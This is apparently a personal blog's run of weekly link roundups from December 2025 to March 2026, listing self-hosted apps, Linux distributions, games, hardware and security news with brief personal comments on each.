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w33k in g33k: March 06, 2026, 2026

Fri, 06 Mar 2026 17:00:00 -0400

selh.st: Self-Host Weekly (6 March 2026), by Ethan Sholly.

myrient: “Myrient will shut down on 31 March 2026. Download any content you find important. More information can be found on our Discord server and Telegram channel.”
James Read’s Code, Containers & Cloud blog: I hadn’t heard of OliveTin before, so i wanted to check it out.
- OlivTin: “Give safe and simple access to predefined shell commands from a web interface.”
Paul Parau: Building a privacy-focused home assistant
- Speaches Documentation: “speaches is an OpenAI API-compatible server supporting streaming transcription, translation, and speech generation. Speach-to-Text is powered by faster-whisper and for Text-to-Speech piper and Kokoro are used. This project aims to be Ollama, but for TTS/STT models.”
Jeff Geerling: Upgrading my Open Source Pi Surveillance Server with Frigate
- exaviz: Cruiser Carrier Board
- DeskPi: Pre-sale DeskPi 2U Mini Rack Mount Case (Pre-order) for the Exaviz Cruiser Carrier Board
GitHub: bunkeriot / BunkerM: “🚀 BunkerM: All-in-one Mosquitto MQTT management platform, featuring dynamic security, MQTT ACL management, monitoring, API and cloud integrations”
GitHub: figranium / figranium: “Figranium is a self-hosted, free browser automation and scraping platform built on Playwright, designed to handle everything from simple scraping to complex, human-like browser interactions. It provides a visual task editor, a structured JSON task format, and advanced execution modes that go far beyond traditional scrapers.”
- figranium
GitHub: home-assistant / core: 2026.3.0: “🏡 Open source home automation that puts local control and privacy first. "
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
GitHub: silverbulletmd / silverbullet: “An open source personal productivity platform built on Markdown, turbo charged with the scripting power of Lua”
GitHub: artifacts-oss / daylog: “📝 Self-hosted board-based simple text and markdown note taking web application.”
GitHub: oldany / dropmind: “Self-hosted memory cache for digital thoughts”
GitHub: bobbydd021-code / Lantern: “Real-time SvelteKit control panel for homelab/service monitoring with a visual editor, SSE live updates, and multi-node support.”
GitHub: kOlapsis / maintenant: “Monitor everything. Manage nothing.”
GitHub: getomnico / omni: “Workplace AI Assistant and Search Platform”
- Omni: “Your AI Assistant For Work. Omni connects to your work tools and learns your organization. Get instant answers, automate repetitive tasks, and work smarter with AI that understands your context across Google Workspace, Slack, Jira, and more.”
GitHub: JangaJones / pve-notebuddy: “Generate pretty Proxmox Guest Notes with a simple web based UI”
- I saved this before i saw it was for Proxmox.
GitHub: owenlejeune / ArrMatey: “A modern, all-in-one mobile client for managing your *arr stack. Built using KMP with native Jetpack Compose UI for Android and SwiftUI for iOS.”
GitHub: openclaw / openclaw: “Your own personal AI assistant. Any OS. Any Platform. The lobster way. 🦞”
- OpenClaw
GitHub: immich-power-tools/immich-power-tools: “Power tools for organizing your immich library”
- Immich Power Tools
GitHub: kOlapsis/shm: “🛡️ Privacy-first, Agnostic Telemetry for Self-Hosted Software.”
- SHM - Self-Hosted-Metrics: “Collect usage stats, verify active instances, and understand your user base without spying on them.”

w33k in g33k: February 27, 2026

Fri, 27 Feb 2026 17:00:00 -0400

/r/SelfHosted: Huntarr - Your passwords and your entire arr stack’s API keys are exposed to anyone on your network, or worse, the internet.
Ladybird
It’s FOSS: OpenClaw Alternatives That You Can Run on Raspberry Pi Like Devices
Felix Krause: OpenClaw - My Automation Setup
Gizmodo: The Original 151 Pokémon and Their History Are Up for Auction
CFO Silvia
Apprise Documentation: Suported Services
- I was looking over this list to see which services supported images &\or attachments.
It’s FOSS: FOSS Weekly #26.09: Linux Mint Shortcuts, OpenClaw Alternatives, Ladybird’s Rust Move, Super Productivity and More
Brave as Spyware
Simon Willison: I vibe coded my dream macOS presentation app
Cofense: Abusing Windows File Explorer and WebDAV for Malware Delivery

selh.st: Self-Host Weekly (27 February 2026), by Ethan Sholly.

/r/SelfHosted: Huntarr - Your passwords and your entire arr stack’s API keys are exposed to anyone on your network, or worse, the internet.
GitHub: yjeanrenaud / yj_nearbyglasses: “attempting to detect smart glasses nearby and warn you”
TIME: Exclusive: Anthropic Drops Flagship Safety Pledge
- TIME: Inside Anthropic, the AI Company Betting That Safety Can Be a Winning Strategy
GitHub: booklore-app / booklore v2.0.0: " BookLore: A self-hosted, multi-user digital library with smart shelves, auto metadata, Kobo & KOReader sync, BookDrop imports, OPDS support, and a built-in reader for EPUB, PDF, and comics."
- I haven’t been on top of my eBook library recently, but i remember deploying this to see if it’s
GitHub: Freika / dawarich: “Your favorite self-hostable alternative to Google Timeline (Google Location History)”
- I’m currently running Reitti, but keeping an eye out if there’s an alternative i like.
GitHub: Kyonew / DVinyl: “DVinyl is a modern, self-hostable collection manager designed for physical media enthusiasts. From Vinyls and CDs to Books and Movies, catalog, value, and organize your entire physical library through a single, customizable interface.”
- I didn’t realize this was for physical media when i saved it.
Codeberg: superseriousbusiness / gotosocial: “Fast, fun, small ActivityPub server. https://docs.gotosocial.org”
- More Fediverse services to look into.
GitHub: damongolding / immich-kiosk/: v0.33.0: “Highly configurable slideshows for displaying Immich assets on browsers and devices.”
- Another service i’ve been running & wanted to see what features were added.
GitHub: karakeep-app / karakeep v0.31.0: " A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search"
- I’ve been using Karakeep so i wanted to see what new features have been added.
GitHub: Sharkord / sharkord: “Lightweight, self-hosted, open-source chat server with voice, video, text, and screen sharing. Built for small groups who want privacy, simplicity, and full control over their data.”
- Discord replacement, if i could get Apprise working with any of these.
GitHub: bzlapp / Bzl: “Self-Hosted Ephemeral Community Engine”
- “Bzl is a self-hostable, modular social platform designed for creators and communities who want full control of their space. Launch your own instance, extend it with plugins, and shape the experience to fit your world.”
- I was just looking for something like Openvibe since I try to use my Mastodon, BlueSky, & Nostr accounts.
GitHub: Lungshot / dashma: “dashboard / start page”
- I guess the theme from selfh.st & my post this week is for dashboards.
GitHub: krelltunez / dayGLANCE: “A Day Planner App”
- dayGLANCE
GitHub: itsDNNS / docsigh: “DOCSIS cable modem monitoring dashboard with health assessment, trend charts, and Home Assistant integration via MQTT”
- I have to see if this would be compatible with Optimum, but looked interesting to run.
GitHub: santhoshjanan / donut-hole: “An AI-powered sidecar for Pi-hole that classifies the domains passing through your network, lets you review them, and exports a custom blocklist back to Pi-hole. It does not replace Pi-hole — it works alongside it.”
- Maybe i can get more use out of my RasPi AI HAT 2+.
GitHub: Sir-Scuzza / gluetun-webui: “A lightweight web UI for monitoring and controlling Gluetun — the VPN client container for Docker.”
- I haven’t had problems with Glutun, but it will be nice to just have an overview of the status.
GitHub: rackandhost / getmando: “A beautiful and simply dashboard”
- Another dashboard \ homepage i want to test.
GitHub: Anagraphy / roampage: “Roampage dashboard”
- I’m still looking for some kind of dashboard for an overview not just of my local services but also hosts.
GitHub: sunburnco / sunburn: “Chat, voice, and video, designed to self-host.”
- Sunburn
- I don’t really use Discord that much, but since i am using it a little bit for alerts through Apprise, i would like to find a replacement.
GitHub: nginx-proxy / nginx-proxy
- I wanted to look into this because i do use nginx.
GitHub: kite-org / kite: “🪁 A modern, lightweight Kubernetes dashboard.”
- I must have saved this thinking it was something else. I’m not running Kubernetes.

w33k in g33k: February 20, 2026

Fri, 20 Feb 2026 17:00:00 -0400

🤖 Artificial Intelligence \ Large Language Models

Simon Willison’s Weblog: Rodney v0.4.0
- GitHub: simonw / rodney: “CLI tool for interacting with the web”
Lifehacker: These Three Claude Premium AI Features Are Now Available for Free
- “File creation in Claude”: Ability to create “Word documents, PowerPoint slideshows, Excel spreadsheets, & PDFs”
- “Claude Connectors”: Allows you to connect Claude to “other apps, sites, & services.”
- “Claude Skills”: “With Skills, you can “teach Claude how to complete specific tasks in a repeatable way” (in the words of the official support document). In old-school computer talk, they might be referred to as macros: batches of set instructions that Claude can repeat whenever you need something doing in a particular way.”

Games

WCCF Tech: Nintendo Once Again Brings DMCA Hammer Down on Switch Emulators, But Eden Is Fighting the Notice:
- Citron: This domain is down, but this site is active. But… no downloads.
- Eden: Downloads still available at: GitHub: eden-emulator / Releases
- Kenji-NX: Android release repo is down, but the rest is active: GitHub: Kenji-NX / Releases
- MeloNX: Has links to Ryujinx: emu
- Pine: GitHub repo is DMCA’ed
- Pomelo: Repo on GitHub id down, but not GitLab
- Ryubing
- Ryujinx
- Skyline: No current releases available?
- Sudachi
- Sumi
- Suyu
- Yuzu
WCCF Tech: Star Trek: Voyager – Across the Unknown Review: I do still have to finish watching Voyager, but i wanted to look into the new Star Trek game.

IT Security

Malwarebytes Labs: Betterment data breach might be worse than we thought: Shiny Hunterswas the group involved. “We analyzed some of the data and found one particularly worrying CSV file with detailed data on 181,487 people. This file included information such as:
- Full names (first & last)
- Personal email addresses (e.g., Gmail)
- Work email addresses
- Company name & employer info
- Job titles and roles
- Phone numbers (both mobile & work numbers)
- Addresses & company websites
- Plan details—company retirement/401k plans, assets, participants
- Survey responses, deal & client pipeline details, meeting notes
- Financial needs/interests (e.g., requesting a securities-backed line of credit for a house purchase)
Help Net Security: Microsoft Defender update lets SOC teams manage, vet response tools

🐧 Linux

OMG Ubuntu: Official Ubuntu 26.04 ‘Resolute Raccoon’ mascot revealed

w33k in g33k: February 13, 2026

Fri, 13 Feb 2026 17:00:00 -0400

📚 Books \ Reading

Remy Sharp: Review: Bear Head (Dogs of War, #2): To add to my “to read” list that i’m never going to actually get through.
Gizmodo: Doom Overtakes 3 Very Different Planets, Earth Included, in This Eerie Sci-Fi Short Story

Docker

Docker API TLS certs
- I ran into some issues while getting this setup recently & plan to have a separate post with notes on how i finally got it working. I can also include Rootless Docker + Komodo with the TLS certs.

🎮 Games

Deckbrew
DeckThemes
itch.io: No ICE in Minnesota: “We created this bundle to raise funds for Immigrant Law Center of Minnesota in response to the Trump administration sending ICE agents to the Minneapolis area and the reckless murder of an innocent people by ICE agents. ILCM provides free immigration legal representation to low-income immigrants and refugees in Minnesota and North Dakota. They also work to educate the community about immigration matters and advocates for public policies which respect the universal human rights of immigrants. ILCM provides services based on capacity and has a generally high demand for services. The more we are able to fundraise, the more people they will be able to assist.”
Engadget: Pokemon Pokopia is so damn cozy: “Pokémon Pokopia can be described as a pocket monster-themed take on Animal Crossing with a hint of Stardew Valley thrown in for good measure.”
- When this was first announced it made my want to pickup Animal Crossing again, especially since there’s been a ton of new update & content since i last played it. If Pokopia is supposed to be (kind of) like Animal Crossing + Pokémon, i’m in =].
Engadget: This Itch.io bundle to help Minnesota includes over 1,200 games and costs just $10

🤓 g33k

Notifox Error handling in bash
- I still mainly use some bash scripts for backups of my services (i.e.: nginx, DailyTxT, Step-CA) so adding some error handling & having notifications got through ntfy or Gotify might be a good idea. I do have notifications currently setup, but there is no fancy logic to it at all.
Windows Central: Microsoft just made a command line version of the Microsoft Store for Windows 11 — install and update your apps without a GUI: “Store CLI is available now, and you can get started by typing store --help for a complete list of available commands.”
- I have scripts \ aliases \ functions written for Linux & macOS to make updating apps easier (macOS App Store included), so it will be nice to have something similar for Windows.
CipherOS: CipherOS on Rabbit R1 - Standard Android Experience Unleashed: Android ROM for Rabbit R1
- I have run a version of Android on the r1 before & while it wasn’t that bad, i ended up putting Ubuntu Mobile on there for a while. Now i want to give CipherOS a shot to see how it feels.

IT Security

Help Net Security: Brutus: Open-source credential testing tool for offensive security
- GitHub: praetorian-inc / brutus: “Fast, zero-dependency credential testing tool in Go. Brute force SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB, and 20+ protocols. Hydra alternative with native fingerprintx/naabu pipeline integration.”
Insinuator: One More Thing: Introducing the New macOS 26 Tahoe Hardening Guide

Miscellaneous

IT’S FOSS: Ghostty vs Kitty: Which Modern Terminal is the Best for Linux Users?
IT’S FOSS: DI.DAY is a Movement to Encourage People to Ditch Big Tech
IT’S FOSS: I Ditched Claude Code and Now Using Open Source Qwen AI for Real Sysadmin Work

🎥 📺 Movies & TV

Gizmodo: The New ‘Stargate’ Is Adding a Familiar Face in a Surprising Way
- The Mummy 4: Looking forward to this with Brendan Fraser & Rachel Weisz!
- Stargate: I mean… i don’t know if i would say this is “Adding a Familiar Face in a Surprising Way”… just that Joe Flanigan from Stargate: Atlantis appears to be a writer for the new series.

Self Hosted

IT’S FOSS: This Lesser-Known Nextcloud Alternative’s Latest Release Makes it More Suitable for Small Businesses
Group-Office: “Open Source groupware & CRM Software”
- I saw this mentioned as a Nextcloud replacement, but looking it over it doesn’t look like it has as many of the features that Nextcloud does. Maybe if it has some more time & look at it again in the future it will have more of what i’m looking for.

It’s FOSS: Meet Roomy: An Open-Source Discord Alternative for the Decentralized Web: “Roomy is an open-source Discord alternative built on the AT Protocol (ATProto), the same protocol that powers Bluesky, with ActivityPub (the protocol behind Mastodon, Pixelfed, Pleroma, and others) planned for the near future. Currently in alpha, it sits somewhere between Matrix and Discord in terms of its practical position in the broader chat ecosystem.”
- Since Discord is going to start being creepy & requiring some kind of ID, time to start looking into something else; not that i was using Discord that much. If it really is just for “adult” content then maybe it’s not such a huge deal, but requiring age verification sounds like it’s going in the wrong direction.
- Ars Technica: Discord faces backlash over age checks after data breach exposed 70,000 IDs
- Roomy
- Stoat

selh.st: selfh.st: Self-Host Weekly (13 February 2026), by Ethan Sholly

Discord Alternatives: I wanted to look into at least some of the servives Ethan has listed here:
- Established: Matrix, Stoat, Mattermost, Rocket.Chat, Zulip
- Smaller But Growing: Campfire, Spacebar, Positive Intentions
- Newcomers: Sharkord, Fluxer, Haven, OpenChat
- Forums: Discourse, NodeBB, Lemmy, Apache Answer, Flarum, Storyden
- See Also: Cinny (Discord-styled Matrix client), MostlyMatters (Mattermost fork without user limits)
Vaultwarden Security Fix: v.1.35.3 fixes GHSA-h265-g7rm-h337: “This vulnerability would allow an authenticated attacker that is part of an organization to access items from collections to which the attacker does not belong.”
Jeff Geerling: The first good Raspberry Pi Laptop
- Argon Forty: Argon ONE UP CM5 Laptop Core System: Too bad this is sold out… i am tempted to pick this up.
GitHub: amir20 / dozzle: v.10.0.0
- I’ve been running Dozzle for a little while now & since it’s a big release, i wanted ot checkout what has been added recently.
GitHub: open-webui / open-webui: v0.8.0
- I do still have to get back to working on my RasPi5 + AI HAT 2, & see what has been added to OpenWebUI for this version.
GitHub: timothepoznanski / poznote: Release 4.6.0
- I have to finish my post about the different text editors \ notes \ etc apps I’ve been running so that I can remember why i liked or didn’t like a specific one…
- But like the adds above, i wanted to read over the release notes here to see what was added with the new version.
GitHub: got3nks / amutorrent: “A unified download manager for aMule and rTorrent: manage both ED2K and BitTorrent downloads from a single modern web interface.”
- Looked pretty, so just wanted to see the details about it.
GitHub: CodesWhat / drydock: “Automated container update monitoring with multi-registry support and flexible notifications.”
- I’m happy now that I moved to Komodo so Drydock might not even be something to look into.
GitHub: akitaonrails / FrankMD: “Self-hosted, Simple Markdown Web Editor and Notes Organizer”
- Because what i need is more note services 🙃
GitHub: ancsemi / Haven: “Self-hosted private chat — your server, your rules. No cloud, no telemetry, no Big Tech. Discord alternative that runs on your own machine.”
- Not that i even use Discord that much, but i wanted to look into alternatives & believe this is one that Ethan mentioned above.
GitHub: TopSwagCode / help-motivate-me: helpmotivate.me: “A habit tracking and identity-based motivation application built with SvelteKit and .NET. Inspired by James Clear’s Atomic Habits, this app helps you build better habits through identity reinforcement, habit stacking, journaling, and AI-assisted guidance.”
- Might look at this not just for the “motivation” part, but also reminders \ tracking on certain “chores” getting done, how often, etc.
GitHub: porthorian / openchat-client: “OpenChat Client is an open-source Electron desktop app that provides a Discord-like experience while connecting each joined server to its own independent backen”
- Possible Discord alternative.
GitHub: ClassicOldSong / Plexsonic: “Plex Music to Subsonic bridge”
- I probably don’t need another service to play local music when i have Plex & Jellyfin (& i do subscribe to Apple Music… don’t hate me)
GitHub: Sharkord / sharkord: “Lightweight, self-hosted, open-source chat server with voice, video, text, and screen sharing. Built for small groups who want privacy, simplicity, and full control over their data.”
- Possible Discord alternative.
GitHub: fr4nsys / usulnet: “Self-hosted platform for managing containers, stacks, security scanning, monitoring, reverse proxy, and multi-node deployments — all from a single, modern interface. A single Go binary with no runtime dependencies. Templates compiled at build time. No Node.js, no Python, no heavy frontend frameworks. Just fast, reliable infrastructure management.”
- This might not be needed since i’m running Komodo.
GitHub: sfox38 / whodunnit: “Whodunnit: A Sensor for Home Assistant which indicates the ‘who’ and ‘how’ behind every state change by linking real-time event contexts to their human or automated origins”
- There’s only two of us in the house, so this would be overkill…
GitHub: Materialious / Materialious: “Materialious is a modern material design frontend for YouTube & Invidious, focused on a clean, privacy-friendly YouTube experience. It supports local video fallback when Invidious fails and is available on Web, Desktop, Android, and Android TV.”
- Each time i post on Mastodon \ BlueSky \ etc, it kills me a little inside to post a YouTube link instead of something like the Invidious link.

w33k in g33k: February 06, 2026

Fri, 06 Feb 2026 17:00:00 -0400

Dark Reading: Attackers Use Windows Screensavers to Drop Malware, RMM Tools: Just thought it was interesting that this is going in circles again. It’s been a while since i’ve seen SCR files used for malicious actions, but maybe it’s making a comeback.
Help Net Security: Microsoft brings project-focused AI agents into OneDrive: I wanted to see if this would be beneficial for work.
Help Net Security: Why a decade-old EnCase driver still works as an EDR killer: I saved it because it sounded interesting & i wanted to read it, plus could be beneficial for work.

selh.st: Self-Host Weekly (6 February 2026), by Ethan Sholly.

Kometa: “Kometa is a powerful tool designed to give you complete control over your media libraries. With Kometa, you can take your customization to the next level, with granular control over metadata, collections, overlays, and much more.”
GitHub: Nezreka / Museck: “A Decky Loader plugin that streams music from your media servers on Steam Deck.”
Nextcloud Blog: A new data access architecture for Nextcloud: introducing the ADA engine: I saved this since i am running Nextcloud at the moment. Right now it’s where i compose my posts for the site, but playing around with other notes platforms to see if there’s something else that might work better.
- “Dubbed ADA, which stands for Accelerated Direct Access, the new engine is designed to pre-calculate and cache the data access and permissions, offering direct file access and actively pushing data to the clients, ensuring responsive access when users navigate the system.”
GitHub: gethomepage / homepage: v1.10.0: " A highly customizable homepage (or startpage / application dashboard) with Docker and service API integrations."
- I wanted to review to see what was added in this version since i am running Homepage.
GitHub: usememos / memos v0.26.0: " An open-source, self-hosted note-taking service. Your thoughts, your data, your control — no tracking, no ads, no subscription fees."
- Same as above – running Memos & want to see what’s new.
GitHub: navidrome / navidrome: " 🎧☁️ Your Personal Streaming Service"
- I’m already running Plex & Jellyfin for music, but have heard about navidrome for years & want to try it.
GitHub: Panonim / dynacat: “A fork of ‘glance’ dashboard with dynamic reloading.”
- I have looked at Glance in the past & don’t think it was for me, but always worth re-visiting things.
GitHub: Vesperino / MerMarkEditor: “Elegant and simple Markdown, Mermaid editor”
- Another notes app i can try.
GitHub: Vsein / Neohabit: “A self-hosted habit-tracker with a new approach to heatmaps, and flexible habits that happen X times in Y days.”
- I think i have one or two habit tracking apps on my phone, so going to compare to this.
GitHub: albertasaftei / plumio: " A self-hosted markdown editor with live preview, document encryption, multi-user support, and multi-organization capabilities."
- Yet another notes app i can try…
GitHub: poisonarp / SimpleTrack: " Domain and SSL Tracker"
- I use Certbot with step-ca so shouldn’t have to worry about expiring certs, but could be useful for work as well.
GitHub: 1Panel-dev / 1Panel: " 🔥 1Panel offers an intuitive web interface for Linux server, making it easy to manage OpenClaw agents, LLMs, websites, databases, containers, files, and scheduled tasks."
- Since most of my “servers” are Linux, a single \ central place to at least monitor would be nice. I’ve tried using Cockpit but it doesn’t have full capabilities on certain distros & didn’t really give me a single view of everything.
NetBox: “Manage your network and infrastructure with confidence. NetBox is the world’s most popular platform for understanding, operating, automating, and securing networks.”
- I can’t remember if I’ve tried this before.
selfh.st: Self-Hosted Software Names You’re Probably Mispronouncing: I wanted to look this over because i know i was pronouncing “calibre” wrong for a while…
YouTube: We Need Your Help to Make Immich Better!
- Immich: Dataset Uploader
YouTube: Which Apps Should You Run in 2026?
YouTube: Termix - Take back your server management.
- I set this up a few weeks ago but keep forgetting I have it.

selh.st: Self-Host Weekly (30 January 2026), by Ethan Sholly.

OpenClaw: I keep meaning to look into this, but haven’t gotten to it yet.
The Cloudflare Blog: Building a serverless, post-quantum Matrix homeserver
GitHub: jordan-dalby / ByteStash: “A code snippet storage solution written in React & node.js”
GitHub: crocodilestick / Calibre-Web-Automated: “Calibre-Web but Automated and with tons of New Features! Fully automate and simplify your eBook set up!”
GitHub: fccview / jotty: “Lightweight but powerful alternative for managing your personal, file based, notes and checklists.”
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
GitHub: Fantastic-Computing-Machine / atlantis: “Create beautiful charts and diagrams privately, without relying on external cloud services.”
GitHub: jsixface / ddash: “A dashboard for docker application through Caddy”
GitHub: schelskedevco / ignidash: “An open-source, AI-powered alternative to ProjectionLab for planning your long-term personal finances.”
GitHub: pineappledr / vigil: “Vigil is a modern, lightweight, and open-source server monitoring system, that provides real-time S.M.A.R.T. health tracking.”

w33k in g33k: January 16, 2026

Fri, 16 Jan 2026 17:00:00 -0400

CipherOS
https://www.raspberrypi.com/products/ai-hat-plus-2/

selh.st: Self-Host Weekly #154: Hello, My Name Is, by Ethan Sholly.

w33k in g33k: January 09, 2026

Fri, 09 Jan 2026 17:00:00 -0400

Hardware

The Pi Hut: TRMNL (OG)
- TRMNL “Recipes”
Nerds.xyz: Eve’s new Matter thermostat has me rethinking my Nest loyalty: “The pitch is simple and, frankly, refreshing: local control, no accounts, no subscriptions, and no data being siphoned off to some remote server.”
- Absolutely interested in a thermostat for all those reasons they stated in the article.
- Eve Home: Eve Thermostat

Linux

Nerds.xyz: Nitrux 5.1.0 drops as a Linux distro designed for modern hardware: This might be a distro i check out the next time I’m looking to change.
OMG Ubuntu: Bazaar Flatpak Manager Gets New Icon, Permission Warnings + More: I thought this was a different Bazarr when i saw the title, but it still looked like something useful if i was using Flatpaks anywhere.

Privacy

Lifehacker: This Free Script Disables Every AI Feature in Windows 11: Because we don’t all need AI shoved down our throats from every site, app, OS, etc.
- gitHub: zoicware / RemoveWindowsAI: “Force Remove Copilot, Recall and More in Windows 11”

Security

The Hacker News: Microsoft Warns Misconfigured Email Routing Can Enable Internal Domain Phishing: This has been ongoing for ages… but hopefully now there will be an official, “safe” fix for this kind of phishing.

selh.st: Self-Host Weekly #153: Hivemind, by Ethan Sholly.

GitHub: lklynet / hypermind: “The High-Availability Solution to a Problem That Doesn’t Exist.”
GitHub: Aletech-Solutions / Open-Atlas-Node
GitHub: jnunez2301 / jellyfin-wireless-remote
GitHub: ghobs91 / mediora
(https://selfh.st/post/plex-privacy-settings/)
(https://www.youtube.com/watch?v=CTR2z-JeTc0)
(https://www.youtube.com/watch?v=JhTEHsbQk34)
(https://danb.me/blog/2026-homelab/)
GitHub: amir20 / dozzle: v9.0.0
GitHub: DonutWare / Fladder
GitHub: maxdorninger / MediaManager
GitHub: streamyfin / streamyfin

w33k in g33k: January 02, 2026

Fri, 02 Jan 2026 17:00:00 -0400

Applications

It’s FOSS: These are the Linux Apps I Couldn’t Live Without in 2025
- Converseen: “A Batch Image Converter and Resizer Tool for Windows, Linux and macOS”
- LM Studio: “Run local LLMs like gpt-oss, Qwen3, Gemma3, DeepSeek and many more on your computer, privately and for free.”
- Packet: “Send and receive files wirelessly with Android devices using Quick Share or another device with Packet installed.”
- Btop++: “A monitor of resources”
- Calibre: “calibre is a powerful and easy to use e-book manager. Users say it’s outstanding and a must-have. It’ll allow you to do nearly everything and it takes things a step beyond normal e-book software. It’s also completely free and open source and great for both casual users and computer experts.”

Linux

It’s FOSS: CachyOS Wants to Improve Your Server Performance Now: I spent the last few weeks trying to revive \ use an old Western Digital MyCloud drive, so seeing CachyOS working on an OS for NAS got me interested.
- I’ve also been wanting to look into Arch again vs. always using Ubuntu or Linux Minut.
- It’s FOSS: CachyOS: Arch-based Distro for Speed and Ease of Use
- It’s FOSS: blendOS Aims to Replace All Linux Distributions: blendOS
It’s FOSS: 9 New Linux Distros That Could Grow Big in 2026
- AnduinOS: “AnduinOS is a custom Ubuntu-based Linux distribution that offers a familiar and easy-to-use experience for anyone moving to Linux. v1.4.1.”
- blendOS: “Arch Linux made declarative, immutable and atomic. With Android app support and Fedora, Debian, CentOS Stream and Ubuntu containers available, as well as system packages/DEs/kernels from Arch Linux and the AUR.”
- Damn Small Linux (DSL) 2024: “The New DSL 2024 has been reborn as a compact Linux distribution tailored for low-spec x86 computers. It packs a lot of applications into a small package. All the applications are chosen for their functionality, small size, and low dependencies. DSL 2024 also has many text-based applications that make it handy to use in a term window or TTY.”
- IncusOS: “IncusOS is an immutable OS solely designed around safely and reliably running Incus. It uses modern security features like UEFI Secure Boot and TPM to provide a safe boot experience and seamless full disk encryption.”
- KDE Linux: “KDE Linux is a free, open-source, user-focused operating system being built by KDE to include the best implementation of everything KDE has to offer, using the most advanced technologies. Learn more on the project’s wiki page.”
- Kazeta:
  - /r/linux_gaming: Announcing a unique new Linux gaming OS - Kazeta: “The basic idea is that you install individual DRM-free games on real physical “cartridges” which can be any external storage media, but I recommend full size SD cards because they look and feel like cartridges and can be relatively easily labelled.”
- ObsidianOS
  - A/B Partitioning: With A/B partitioning, updates are atomic. If an update fails, you can simply reboot into the previous partition, ensuring your system is always bootable.
  - Multiple bases: Enjoy the power and flexibility of Arch, Gentoo, or even Void, with the power of A/B Partitioning
  - Stable & Reliable: Built on the stability of ext4, ObsidianOS provides a reliable computing experience without the complexities of other filesystems.
- pearOS: “The greatest release of pearOS is NiceC0re. An Arch-based Linux Distro made to look different than the current pearOS versions.”
- Vanilla OS 2.0 (Orchid): “Vanilla OS 2 Orchid is the next generation of Vanilla OS. It is built on top of new technologies and features to provide you with the most secure, stable and stunning system experience.”
  - Vanilla OS 2 Orchid - Stable Release
Bunsen Labs: Carbon version of bunsen-blob is now available
- I remember using a distro from Bunsen Labs (or something that came before it?) & keep meaning to look at it again. I’m pretty sure it was back when i was trying to find lightweight OS’ for my ASUS Eee PC

selfh.st: Self-Host Weekly #152: Wrapped

Bboysoul’s Blog: Introducing My Self-Hosted Setup
LinuxServer.io: New Container: VSCodium-web: I don’t think i’ll really need to run Codium as a web app, but might take a look at it anyway.
Tech Crunch: A beginner’s guide to Mastodon, the open source Twitter alternative

w33k in g33k: December 26, 2025

Fri, 26 Dec 2025 17:00:00 -0400

Games

It’s FOSS: 13 Awesome Games Linux Users Can Grab in Steam Winter Sale 🎮 (Ends 5 January)
- I haven’t really spent that much time on games recently, but wanted to see what some of the suggestions were here.

Hardware

Lifehacker: This Wallet-Sized E-Reader Is My Tech ‘Upgrade of the Year’
- I have to get back to reading more before i can even think about some new ereader, but i figurd i would save this for a rainy day.
- Xteink X4 E-Reader

Miscellaneous

We got our nieces Tonieboxes for the holidays & when i started to lookup if you could use the Flipper with it, i went down a bit of a rabbit hole…
Gambrius Tech Blog: Toniebox Hacking – How to get started
g3gg0.de: Flipper Zero for Toniebox figurines
GitHub: toniebox-reverse-engineering: “Team RevvoX likes to tinker with the Toniebox. And you also want to start hacking around with it? Then you found the right spot for that.”

w33k in g33k: December 19, 2025

Fri, 19 Dec 2025 17:00:00 -0400

Games

Windows Central: You can now play GTA Vice City directly in your web browser — no downloads, no installs, just instant nostalgia

Linux

NERDS.xyz: Rhino Linux 2025.4 arrives: Just thought it might be a fun to play around with a new Linux distribution.
- Rhino Linux

Media

GitHub: maxdorninger / MediaManager: “A modern selfhosted media management system for your media library”
- Maybe see about an arr replacement, along with Seer?
GitHub: navidrome / navidrome: “🎧☁️ Your Personal Streaming Service”
- I’ve heard the name before, & just because i do have a ton of music that this might be an interesting tool to use with.
Lifehacker: Six Ways You Can Use an Old Chromecast (Beyond Streaming Movies and Shows)
- Keep an eye on your property
- Set up a second screen wirelessly
- Stream music, podcasts, and audiobooks
- Play some simple games
- Display photos and wallpapers
- Keep in touch

Penetration Testing

I had pre-ordered the WiFi Pineapple Pager while at DEF CON & it was just delivered this week… so this weekend I’ll be playing around with that & taking a look at the Hak5 repositories:
- Hackster.io: The Hak5 WiFi Pineapple Pager Is a Hacker’s Pentesting Dream Tool (Probably)
- GitHub: hak5 / wifipineapplepager: “Collection of WiFi Pineapple Pager Repositories”
- GitHub: hak5 / wifipineapplepager-themes: “The Official WiFi Pineapple Pager Theme Repository”
- GitHub: hak5 / wifipineapplepager-ringtones: “The Official WiFi Pineapple Pager Ringtone Repository”
- GitHub: hak5 / wifipineapplepager-payloads: “The Official WiFi Pineapple Pager Payload Repository”

Miscellaneous

GitHub: n8n-io / n8n: “Fair-code workflow automation platform with native AI capabilities. Combine visual building with custom code, self-host or cloud, 400+ integrations.”
- I’ve always kept this in mind, but still haven’t come up with a use for the automation platform.
GitHub: gamosoft / NoteDiscovery: “Your Self-Hosted Knowledge Base”
- Ethan Sholly mentioned this one ( selfh.st: My Favorite Self-Hosted Apps Launched in 2025 ) & heard it compared to Obsidian, so i wanted to add this to the list of note tools I’ve looked at or have running (i.e.: flatnotes, Glass Keep, Many Notes, Memos, Note Mark).
  - I was using SilverBullet for a while, but wasn’t a huge fan of the interface \ workflow, so I gave up on that one at least for now.
GitHub: TriliumNext / Trilium: “Build your personal knowledge base with Trilium Notes”
- I’ve looked at Trilium a few times, but never stuck with it. Maybe it’s one of those times I try it again.
GitHub: clemcer / loggifly: “Get Alerts from your Docker Container Logs”
- Maybe someting to see if it would be useful for specific errors in Docker logs.
Postgresus: “Postgresus is a free, open source and self-hosted tool to backup PostgreSQL. Make backups with different storages (S3, Google Drive, FTP, etc.) and notifications about progress (Slack, Discord, Telegram, etc.)”
- Since more than a few of my containers use Postgres databases, thought this would be good to look into for backups.
Poznote: “Poznote is a lightweight yet powerful web app for taking notes.”
- Another note app to try.
GitHub: nicotsx / zerobyte: “Backup automation for self-hosters”
- I have been trying to get Restic configured on my hosts, so just seeing the tool is based on that, it caught my interest.
Elena Rossini: A newbie’s guide to self-hosting with YunoHost. Part 2: installation & setup
It’s FOSS: What Google Photos? Self-Hosting Photo Storage with PhotoPrism Using Docker in My Homelab
- I did try PhotoPrism a few years ago, but ended up going with Immich. Maybe I’ll take another look.
